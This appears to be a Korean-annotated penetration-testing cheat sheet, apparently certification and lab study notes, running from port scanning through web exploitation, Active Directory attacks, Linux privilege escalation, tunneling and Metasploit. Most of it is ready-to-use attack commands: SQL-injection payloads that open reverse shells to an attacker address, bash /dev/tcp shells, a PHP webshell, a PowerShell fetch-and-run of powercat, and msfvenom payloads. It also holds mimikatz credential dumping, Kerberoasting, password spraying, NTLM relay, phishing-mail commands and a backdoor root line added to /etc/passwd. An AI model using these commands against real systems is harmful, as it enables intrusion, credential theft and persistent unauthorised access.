Port Scan
# basic
sudo nmap -sC -sV -Pn ip -oN ip
# all port
sudo nmap -sC -sV -Pn -p- ip -oN ip_allport
# udp
sudo nmap -sC -sV -U -Pn ip -oN ip_udp
# nse scan
sudo nmap --script-updatedb
sudo nmap -sC -sV -Pn --script script -p port ip
# In Window
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("ip", $_)) "TCP port $_ is open"} 2>$null
21 FTP
# anonymous:anonymous & ftp:ftp
ftp anonymous@ip
# 파일 디렉토리 탐색
pwd # 현재 작업 디렉토리 표시
cd <dir_name> # 특정 디렉토리 이동
ls # 현재 디렉토리 파일 및 폴더 목록 표시 (dir도 가능)
# 파일 전송
get <file_name> # 로컬에 파일 다운로드
mget <file1 file2 ..> # 로컬에 다수 파일 다운로드
put <file_name> # 서버에 파일 업로드
mput <file1 file2 ...> # 서버에 다수 파일 업로드
# 파일 조작
delete
22 SSH
# Version Vuln Scan
# login
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" User@IP
ssh user@ip
# id_rsa login
chmod 600 id_rsa
ssh -i id_rsa user@ip
# proxychain
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.50.215
# scp
## local -> remote
scp [파일명1] [파일명2] [원격지_id]@[원격지_ip]:[받는 위치]
scp -r [디렉터리 이름] [원격지_id]@[원격지_ip]:[보낼 경로]
## remote -> local
scp [원격지_id]@[원격지_ip]:[원본 위치 파일][원본 위치 파일] [받는 위치]
scp -r [원격지_id]@[원격지_ip]:[디렉터리 위치] [받을 경로]
25, 465, 587, 2525 SMTP
# user 확인
nc -nv <ip> 25
# in Window
Test-NetConnection -Port 25 <ip>
# telnet : admin 권한 필요
dism /online /Enable-Feature /FeatureName:TelnetClient
telnet <IP> 25
# pishing mail
sudo swaks -t daniela@beyond.com -t marcus@beyond.com --from john@beyond.com --attach @config.Library-ms --server 192.168.111.242 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap
53 DNS
# IP 찾기
host <domain>
# A레코드 검색
host -t mx <domain>
nslookup mail.megacorptwo.com # in Window
# TXT레코드 검색
host -t txt <domain>
nslookup -type=TXT <domain> <DNS_IP> # in Window
# subdomain 검색 : /usr/share/seclists
# 없을경우 sudo apt install seclists
for ip in $(cat list.txt); do host $ip.megacorpone.com; done
for ip in $(seq 200 254); do host 000.000.000.$ip; done | grep -v "not found"
# dnsrecon / options : std, brt
dnsrecon -d <domain> -t <options> -D <wordlist>
80, 443 HTTP
Basic
# 호스트 등록
echo "ip domain" | sudo tee -a /etc/hosts
# 무슨 web 인지 찾기
whatweb http://192.168.50.244
# 웹쉘 위치
/usr/share/webshells/
# 공격 코드 한줄요약
https://jscompress.com/
Gobuster
# /usr/share/wordlists/dirb, SecLists, dirbuster
# pattern 양식 : {GOBUSTER}/v1
gobuster dir -u <ip> -w <word_list> -p <pattern> -b 301 --timeout 20s
# domain 등록 : 웬만해서는 하고 하자 subdomain 찾기용
echo "ip domain" | sudo tee -a /etc/hosts
# subdomain 찾기
gobuster vhost -u https://mysite.com -w subdomain.txt --append-domain
wpscan
# wordpress일 경우
# 그 후 나온 plugin cve 서칭
wpscan --url <url> --enumerate ap,u,t --plugins-detection aggressive -o <fileName>
# wp plugin
https://jckhmr.net/create-a-wordpress-webshell-plugin/
wp-contents/plugins/<zip파일명>/<php파일명>
Spring (White Label ErrorPage)
# /usr/share/wordlists/SecLists/Discovery/Web-Content/spring-boot.txt 로 스캔 돌리자
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/spring-boot.txt:FUZZ -u http://cozyhosting.htb/FUZZ -ic -t 100
SQL Injection
## postgre
### rce
';+CREATE+TABLE+shell(output+text);COPY+shell+FROM+PROGRAM+'rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.45.222+9999+>/tmp/f';--
## MS-SQL
### xp_cmdshell 활성화
; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
### rce
;EXEC xp_cmdshell 'powershell -c "$x = whoami; curl http://my-kali?output=$x"';--
## MySql
### rce
' UNION SELECT 1,2,3,4,"<?php system($_GET['cmd']); ?>",6 INTO DUMPFILE '/var/www/html/shell.php' #
Command Injection
# LFI & Linux Command Injection
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<kali_ip>%2F<port>%200%3E%261%22
bash -c "bash -i >& /dev/tcp/<kali_ip>/<port> 0>&1"
echo -n '<?php echo system($_GET["cmd"]);?>' | base64
data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"
php://filter/convert.base64-encode/resource=admin.php
echo "base64" | base64 -d
# Window 일때, cmd, PowerShell 구분 / PetSerAl 검색
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
# ps1 다운 후 실행
IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.000.000/powercat.ps1");powercat -c 192.168.000.000 -p 4444 -e powershell
Directory Traversal
# bypass
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
# linux file
/etc/passwd
/etc/shadow
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/etc/mysql/my.cnf
# window file
c:/Windows/win.ini
c:/windows/system32/license.rtf
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/windows/repair/sam
c:/windows/repair/system
Payload Encoding
// encoding error 방지용 hex 전환
// eval(String.fromCharCode(hexs))
function encode_to_javascript(string) {
var input = string
var output = '';
for(pos = 0; pos < input.length; pos++) {
output += input.charCodeAt(pos);
if(pos != (input.length - 1)) {
output += ",";
}
}
return output;
}
let encoded = encode_to_javascript('insert_minified_javascript')
console.log(encoded)
88 Kerberos
Roasting
# AS-REP
## username 사용자에 대해서 AS-REQ 날리기 [No Auth]
impacket-GetNPUsers domain.com/ -dc-ip 10.129.246.172 -usersfile username
## Kerberos의 사전 인증을 비활성하여 모든 AD 사용자에 대해서 AS-REQ를 날리기 [Auth]
impacket-GetNPUsers -dc-ip <ip> -request -outputfile hashes.asreproast corp.com/pete
## Rubeus.exe 이용
.\Rubeus.exe asreproast /nowrap
# Kerber
## kali
sudo impacket-GetUserSPNs -request -dc-ip <ip> corp.com/pete
sudo impacket-GetUserSPNs active.htb/SVC_TGS -dc-ip <ip>
## Rubeus.exe 이용
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
Kerbrute
# download
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_386
chmod u+x kerbrute_linux_386
mv kerbrute_linux_386 /usr/bin/kerbrute
# 계정 목록 파일을 이용해 해당 계정이 있는지 확인
kerbrute --dc 10.10.11.129 userenum -d search.htb userlists.txt
# 패스워드 스프레이 공격(PW: IsolationIsKey?)
kerbrute passwordspray --dc 10.10.11.129 -d search.htb validusers.txt 'IsolationIsKey?'
161 SNMP
MIB |
|
1.3.6.1.2.1.25.1.6.0 |
시스템 프로세스 |
1.3.6.1.2.1.25.4.2.1.2 |
프로그램 실행 |
1.3.6.1.2.1.25.4.2.1.4 |
프로세스 경로 |
1.3.6.1.2.1.25.2.3.1.4 |
보관 유닛 |
1.3.6.1.2.1.25.6.3.1.2 |
소프트웨어 이름 |
1.3.6.1.4.1.77.1.2.25 |
사용자 계정 |
1.3.6.1.2.1.6.13.1.3 |
TCP 로컬 포트 |
# list 구성
echo "public\nprivate\nmanager" > community
for ip in $(seq 1 254); do echo 192.168.50.$ip; done > ips
# onesixtyone
onesixtyone -c community -i ips
# snmpwalk
snmpwalk -c public -v1 -t 10 <IP> <MIB_Num>
# External node find
snmpwalk -v2c -c public <RHOST> nsExtendObjects snmpwalk -v2c -c public <RHOST> NET-SNMP-EXTEND-MIB::nsExtendObjects
389 LDAP
# username으로 Ldapsearch
ldapsearch -x -H ldap://10.129.192.253 -b 'DC=cascade,DC=local' -D '' -w '' | grep -i r.thompson ldapsearch -x sAMAccountName=r.thompson -H ldap://10.129.192.253 -b 'DC=cascade,DC=local' -D '' -w ''
445 SMB
# 디스크 확인
smbclient //<ip>/<Folder 명>
net view \\<AD_domain> /all # in Window
# NTML hash 사용
smbclient \\\\192.168.50.212\\secrets -U <user> --pw-nt-hash <hash>
# 공유 폴더 확인
crackmapexec smb 10.129.157.36 -u '' -p '' --shares
crackmapexec smb 10.129.157.36 -u '' -p '' --users
crackmapexec smb 10.129.157.36 -u '' -p '' --rid-brute
# 재귀로 검색
crackmapexec smb 10.129.157.36 -u '' -p '' --spider <폴더명> --regex .
# 파일 얻기
get file.ext
# writable 확인
## mount
mount -t cifs -o rw,username=guest,password= '//<ip>/<폴더명>' /mnt
## writable.sh
#!/bin/bash
list=$(find /mnt -type d)
for d in $list
do
touch $d/x 2>/dev/null
if [ $? -eq 0 ]
then
echo $d " is writable"
fi
done
## scf attack
### hash.scf
[Shell] Command=2
IconFile=\\<kali_ip>\share\pwn.ico
[Taskbar]
Command=ToggleDesktop
1433 MSSQL
# mssql 접근
impacket-mssqlclient domain/user@ip
impacket-mssqlclient domain/user@ip -windows-auth
# DB 조사
SELECT name FROM sys.databases
# 테이블 조사
use database SELECT * FROM INFORMATION_SCHEMA.TABLES
# 컬럼 조사
SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Table Name'
# 데이터 얻기
SELECT UserName, Email, Password FROM Table_Name
3306 MYSQL
3389 RDP
# xfreerdp
xfreerdp /drive:test,/home/kali/offsec /u:user /p:password /v:ip
# Remote Desktop Users 또는 Remote Management Users 권한 없는 유저 접근 법
runas /user:user cmd
runas /user:domain\user cmd
5985, 5986 WINRM
# Password login
evil-winrm -i ip -u user -p password
# NTLM login
evil-winrm -i ip -u user -H hash
# key login : Sizzle 참고
evil-winrm -S -i ip -u user -p password -c certnew.cer -k private.key
Password Attacks
Basic
# 사용할 워드리스트 위치 : /usr/share/wordlists/
# hash 종류 파악 : hash-identifier / https://md5hashing.net/hash_type_checker
# 각종 rule 위치 : /usr/share/hashcat/rules/
# 특정 앞자리 제거
sed -i '/^1/d' password.txt
# 규칙들 (한줄로 작성 시 한번에 적용 / 여러줄로 작성 시 각각 적용)
$1 -> 뒤에 1 추가 / c -> 앞문자 대문자로
# 규칙 생성 및 적용
echo \$1 > password.rule
hashcat -r demo.rule --stdout password.txt
# base64
echo -n "NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx" | base64 -d
# xxd
echo -n "6d2424716c5f53405f504073735730726421" | xxd -r -p
hydra
# user명 알때
hydra -l <user> -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://<ip>
# password 알때
hydra -L /usr/share/wordlists/dirb/others/names.txt -p <password> rdp://<ip>
# HTTP Post
hydra -L <users_file> -P <password_file> <url> http[s]-[post|get]-form \
"index.php:param1=value1¶m2=value2&user=^USER^&pwd=^PASS^¶mn=valn:[F|S]=message"
hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.000.000 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"
# 입력창 뜰 때, A 는 Authorization NTLM 는 Bearer 같은 거
hydra -l sizzler -P /usr/share/wordlists/rockyou.txt 10.129.166.251 http-get '/certsrv:A=NTLM:F=401'
hashcat
# mode 검색
hashcat --help | grep -i <hash종류>
hashcat -m <mode> <hash값 담긴 파일> <wordlist> -r <rule>.rule
# KeePass
# Database: 지워야함
keepass2john Database.kdbx > keepass.hash
john
# hashcat을 쓸 경우, \~~2john 파일로 생성된 해시는 앞부분에 파일의 원래 이름이 붙는다. 해당 내용을 지워주고 진행하면 된다.
# rule 양식
[List.Rules:sshRules]
c $1 $3 $7 $!
c $1 $3 $7 $@
c $1 $3 $7 $#
# rule 변환
sudo sh -c 'cat /home/kali/passwordattacks/ssh.rule >> /etc/john/john.conf'
# zip 파일
zip2john [압축파일] > zip.hash
# ssh 파일
ssh2john id_ecdsa > pass
ssh2john id_rsa > ssh.hash
# kdbx 파일
keepass2john Database.kdbx > key.hash
# 사용
john --wordlist=<wordlist> --rules=sshRules ssh.hash
NTLM
# NTLM hash Relay
impacket-psexec -hashes 00000000000000000000000000000000:<NTLM hash> <user>@<IP>
impacket-psexec -hashes :<NTLM hash> <user>@<IP>
impacket-wmiexec -hashes 00000000000000000000000000000000:<NTLM hash> <user>@<IP>
# NTLMv2 hash 얻기
sudo responder -I tap0 # in Kali
dir \\<kali_ip>\test # in Window
impacket-secretsdump domain/user@ip -just-dc-user Administrator
# capture reset
rm /usr/share/responder/Responder.db
# NTLMv2 Relay / one-liner
# Server1 -> kali_SMB server -> Server2 Relay
impacket-ntlmrelayx --no-http-server -smb2support -t <Server2_IP> -c "powershell -enc JABjAGwAaQBlAG4AdA..." # in Kali
dir \\<kali_ip>\test # in Server1 reverse Shell
GPP
python3 gpp-decrypt.py -f Groups.xml
python3 gpp-decrypt.py -c edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
Windows [AD포함]
Info
# import module
powershell -ep bypass
# Auto
.\winPEAS.exe
# 계정 권한 조회
whoami /all
# domain 정보 획득
impacket-GetADUsers -all active.htb/SVC_TGS -dc-ip 10.10.10.100
# domain 사용자 출력
net user /domain
net user <username> /domain
# domain group 출력
net group /domain
net group <groupname> /domain
# history 조회
Get-History
(Get-PSReadlineOption).HistorySavePath
# 스케쥴러 확인
schtasks /query /fo LIST /v
PowerView.ps1
Import-Module .\PowerView.ps1
# 오류 메시지 받기
-Verbose
# 도메인
Get-NetDomain
# 유저
Get-NetUser | select <속성>
# 그룹
Get-NetGroup <그룹> | select <속성>
# 도메인 컨트롤러 정보 확인
Get-NetDomainController
# 도메인 정책 확인
Get-DomainPolicy
# 시스템 권한 확인
(Get-DomainPolicy)."system access"
# 컴퓨터 열거
Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion
# 해당 유저의 관리자 권한 컴퓨터 찾기
Find-LocalAdminAccess
# 세션 찾기 권한 확인 및 찾기
Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl
Get-NetSession -ComputerName <컴퓨터이름>
## 권한이 없을 경우 + Remote Registry 켜져있을 때 사용
.\PsLoggedon.exe \\<컴퓨터이름>
# 계정에 연결된 SPN 확인
setspn -L <계정명>
Get-NetUser -SPN | select samaccountname,serviceprincipalname
# 유저 권한 확인
Get-ObjectAcl -Identity <계정명>
Find-InterestingDomainAcl
# stephanie가 가지고 있는 권한들 검색
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "stephanie"} | select ObjectDN,ActiveDirectoryRights
# SID 변환
Convert-SidToName <SID>
<SID1>,<SID2> | Convert-SidToName
# GenericAll 권한인 유저들 출력
Get-ObjectAcl -Identity <그룹> | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
# 도메인 공유 출력 및 폴더 조사
Find-DomainShare
ls \\dc1.corp.com\sysvol\corp.com\
PowerUP.ps1
Import-Module PowerUp.ps1
Invoke-AllChecks
Sherlock
# https://github.com/rasta-mouse/Sherlock
import-module .\sherlock.ps1
find-allvulns
BloodHound
# SharpHound로 분석할 데이터 만들기
# 사용법
Import-Module Sharphound.ps1
Get-Help Invoke-BloodHound
# 전체 조사
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\<경로> -OutputPrefix <zip파일 접두사>
# BloodHound 환경설정
# default account - neo4j:neo4j
sudo apt install bloodhound
sudo neo4j start
bloodhound
# Generic All Force Change Password
https://www.hackingarticles.in/abusing-ad-dacl-generic-all-permissions/
https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword
# Query
# 모든 유저, 컴퓨터 표시
MATCH (m:Computer) RETURN m
MATCH (m:User) RETURN m
# 활성 세션 표시
MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p
Spray-Password.ps1
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin
.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"
mimikatz
privilege::debug
# SAM 데이터베이스 덤프
lsadump::sam
# LSA 비밀 덤프
lsadump::secrets
# 도메인 컨트롤러에서 사용자 자격 증명 동기화
lsadump::dcsync /user:<사용자명>
# hash
sekurlsa::logonpasswords
# ticket
ls \\web04.corp.com\backup
sekurlsa::tickets
# Pass The Hash 공격 수행
sekurlsa::pth /user:<사용자명> /domain:<도메인명> /ntlm:<NTLM해시> /run:<명령어>
# Windows 자격 증명 관리자에서 자격 증명 덤프
vault::cred
# EPAPI 마스터 키 덤프 및 복호화
dpapi::masterkey
# 시스템의 모든 토큰 나열
token::list
# 특정 토큰으로 권한 상승
token::elevate
Linux
Info
# auto : /usr/bin/unix-privesc-check, /usr/share/peass/linpeas/linpeas.sh
./unix-privesc-check standard > output.txt
./linpeas.sh
# os
cat /etc/os-release
uname -a
lscpu
# process
ps aux
ps aux | grep root
watch -n 1 "ps -aux | grep pass"
# kernel
cat /etc/issue
uname -r
arch
gcc cve-2017-16995.c -o cve-2017-16995
# AppArmor 여부
aa-status
# shell 종류 파악 - Tmux, Screen 활용
cat /etc/shells
# DNS host 파악
cat /etc/resolv.conf
cat /etc/hosts
# shellshock exploit에 취약
grep "*sh$" /etc/passwd
# tcp log
sudo tcpdump -i lo -A | grep "pass"
# network
routel
netstat -anp
cat /etc/iptables/rules.v4
#cron
ls -lah /etc/cron*
sudo crontab -l
grep "CRON" /var/log/syslog , cron.log , ...
# 1000ms 마다 스캔하여 cron 확인
./pspy64 -pf -i 1000
# installed
dpkg -l
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list
# writable
find / -writable -type d/f 2>/dev/null
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
# 숨겨진 파일 폴더 파악
find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep <username>
find / -type d -name ".*" -ls 2>/dev/null
# 구성 파일
find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null
# 스크립트
find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"
# 히스토리
history
find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null
# 임시파일
ls -l /tmp /var/tmp /dev/shm
# mount drive
cat /etc/fstab
mount
lsblk
# module info
lsmod
/sbin/modinfo <module>
# find suid
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
# Privilege Group
find / -group adm -exec ls -ldb {} \; 2>/dev/null
# get env
echo $SHELL
echo $PATH
env
cat .bashrc
# check sudo auth
sudo -l
sudo -i
sudo -V
# sudo user 파악
getent group sudo
## sudo -l에서 나온 파일이 sudo로 안될때
sudo -u root <vuln_file>
# 바이너리 : GTFObins 활용
ls -l /bin /usr/bin/ /usr/sbin/
for i in $(curl -s https://gtfobins.github.io/ | html2text | cut -d" " -f1 | sed '/^[[:space:]]*$/d');do if grep -q "$i" installed_pkgs.list;then echo "Check GTFO for: $i";fi;done
Escaping Restricted Shells
# 사용 가능한 명령어 보기
compgen -c
# ls, ls -l, ls -a 등을 인수에 추가해 셸 탈출이 가능하다.
ls -l 'pwd'
그 외 Command Substitution, Command Chaining, Environment Variables, Shell Functions 등을 통해 탈출할 수 있다.
Abuse
# Path Abuse
echo $PATH
pwd && conncheck
PATH=.:${PATH}
export PATH
touch ls
echo 'echo "PATH ABUSE!!"' > ls
chmod +x ls
# Other Abuse
## set password
openssl passwd password
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
# About setuid Abuse : https://gtfobins.github.io/
Tunneling
ligolo
SSH
# local / server1 - server2 - server3
ssh -N -L 0.0.0.0:4455:<server3_IP>:445 database_admin@<server2_IP>
# dynamic / server1 - server2 - server3
ssh -N -D 0.0.0.0:9999 database_admin@<server2_IP>
# in kali
vi /etc/proxychains4.conf
socks5 <server1_IP> 9999
# remote / server1 - server2 / inbound가 막혀있을 때 주로 사용
ssh -N -R 127.0.0.1:2345:<server2_IP>:5432 kali@<mykali_ip>
# remote dynamic
ssh -N -R 9998 kali@<mykali_ip>
# in kali
vi /etc/proxychains4.conf
socks5 127.0.0.1 9998
##in Window
# start
sudo systemctl start ssh
# remote dynamic
ssh -N -R 9998 kali@<mykali_ip>
Other Tunneling
# in Linux
## sshuttle
socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22
sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24
## socat
socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432
# in Window
## plink
C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 <mykali_ip>
## netsh / server1 - server2
netsh interface portproxy show all
netsh interface portproxy add v4tov4 listenport=<server1_port> listenaddress=<server1_ip> connectport=<server2_port> connectaddress=<server2_ip>
## netsh로 방화벽 열기
netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=<server1_ip> localport=<server1_port> action=allow
## netsh로 방화벽 t삭제
netsh advfirewall firewall delete rule name="port_forward_ssh_2222"
chisel
# 버전이 중요함 Go 1.19 - Chisel <= 1.81 / Go > 1.20 - Chisel > 1.81
# 만약 안붙으면 tcpdump 로 보기
# server start
chisel server --port 8080 --reverse
# client
/tmp/chisel client <kali_IP>:8080 R:socks > /dev/null 2>&1 &
chisel.exe client <kali_IP>:8080 R:80:172.16.6.241:80
chisel.exe client --fingerprint SgtWdmBCNIjgaX03e80+VTUNMpzdZVhM16I1G3dzQzI= 192.168.45.207:8080 R:80:172.16.193.241:80
# dynamic
chisel.exe client kali:8080 R:1080:socks
DNS
# dnscat2-server
dnscat2-server feline.corp
listen 127.0.0.1:4455 172.16.2.11:445
Git
# git dump
git-dumper http://siteisup.htb/dev/.git dev
# .git 폴더 있는 곳에서
# 실행
gitleaks detect
git status
# 로그 보기
git log
# 깃 해시로 보기
git show <hash>
# git dump
pip install git-dumper
git-dumper http://victim_site/.git dev
Python
Jenkins
Searchsploit
# /usr/share/exploitdb
sudo apt update && sudo apt install exploitdb
# searchsploit
searchsploit <검색할 서비스>
# 파일 다운
searchsploit -m <숫자>
msfvenom
# payloads 리스트 출력
msfvenom -l payloads --platform windows --arch x64
msfvenom -f --list
msfvenom -p <> --list-options
# payload 생성
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.119.2 LPORT=443 -f exe -o nonstaged.exe
# web reverse shell
msfvenom -p php/reverse_php LHOST=192.168.45.241 LPORT=9999 -f raw -o php_reverse_9999.pHP
cat php_reverse_9999.pHP | pbcopy && echo '<?php ' | tr -d '\n' > php_reverse_9999.pHP && pbpaste >> php_reverse_9999.pHP
# shellcode 생성
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.45.222 LPORT=443 -f python -b "\x00\x20" -v shellcode
msfconsole
# 초기화 및 접속
sudo msfdb (re)init
sudo systemctl enable postgresql
sudo msfconsole -r <자동화 스크립트>
# 워크스페이스 생성
workspace -a pen200
# Nmap 사용
db_nmap <기존 Nmap 옵션>
hosts
services
# 보조모듈 나열 exploits, payloads, auxiliary 등등 있음
show -h
# 검색
search type:<보조모듈> <검색어>
search type:auxiliary ssh
search Apache 2.4.49
# payload 검색
show payloads
set payloads <번호>
# 사용 및 세팅
use <번호>
show options
set <option> <value> / unset <option>
services -p 445 --rhosts # db_name으로 정보가 있다면 사용 가능
run -j
# 공격 성공하여 얻은 정보/세션들
creds
sessions / sessions -i <번호>
# nc 안될 때, multi/handler 사용
use multi/handler
set payload <공격에 사용한 shell 이름>
set LHOST <kali_ip>
set LPORT <kali_port>
# route 관련
route add <subnet> <sessionId>
route add 172.16.1.0/24 12
route print
route flush
# auto
use multi/manage/autoroute
set session 1
run
# 포트포워딩
portfwd add -l 3389 -p 3389 -r 172.16.000.000
# auto :1080
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set VERSION 5
run -j
# session background
Ctrl+z
meterpreter
# shell 얻기
shell
# 기존 명령어 사용
l<linux명령어> / lpwd / lcat ...
# 파일 관련
download <경로>
upload <칼리경로> <피해자경로>
# 유저 얻기
getuid
# 시스템 정보 얻기
sysinfo
# 권한상승 / SeImpersonatePrivilege 권한 필요
getsystem
# 프로세스 보기
ps
# 환경변수 보기
getenv <변수명>
# 리버스 쉘 .exe 프로세스를 특정 프로세스 하위로 마이그레이션
migrate <위장할PID>
# 프로세스 만들기
execute -H -f notepad
# background
bg
# kiwi 사용
load kiwi
lsa_dump_sam